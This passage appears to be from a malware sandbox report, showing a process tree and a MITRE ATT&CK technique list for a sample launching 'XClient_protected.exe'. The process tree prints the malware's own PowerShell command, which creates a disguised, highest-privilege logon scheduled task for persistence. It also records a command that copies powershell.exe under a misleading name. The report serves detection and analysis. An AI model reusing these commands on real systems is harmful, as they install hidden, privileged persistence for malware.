    "C:\Users\Admin\AppData\Local\Temp\Files\XClient_protected.exe"
    3⤵
    PID:6328
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:1200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5072
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
  2⤵
  PID:4136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3532
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  PID:4064
- C:\Windows\System32\dwm.exe
  C:\Windows\System32\dwm.exe
  2⤵
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1492
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:4668
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:4696
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:4564
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:5948
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:7124
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:5912
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:6036
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:3696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ydcfdz#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6644
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
  2⤵
  PID:3968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3508

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4036

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4044

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4056

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:4924

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:5008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1168

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
PID:2088

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:1588

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1360

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2372

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:1448
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 432 -ip 432
  2⤵
  PID:3248
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 432 -ip 432
  2⤵
  PID:2532
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4760 -ip 4760
  2⤵
  PID:1984
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 5612 -ip 5612
  2⤵
  PID:5984
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 6440 -ip 6440
  2⤵
  PID:6240
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 6544 -ip 6544
  2⤵
  PID:6588
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 552 -p 6260 -ip 6260
  2⤵
  PID:6364
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 3536 -ip 3536
  2⤵
  PID:4616
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 6372 -ip 6372
  2⤵
  PID:5020

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks processor information in registry
PID:1532
- C:\Windows\system32\cmd.exe
  cmd /c copy "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\Updater.vbs.exe" /Y
  2⤵
  - Process spawned unexpected child process
  PID:3800

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:2888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2664

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1988

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:6192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s BthAvctpSvc
1⤵
PID:6892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:6500

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:1960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Time Discovery

T1124

Virtualization/Sandbox Evasion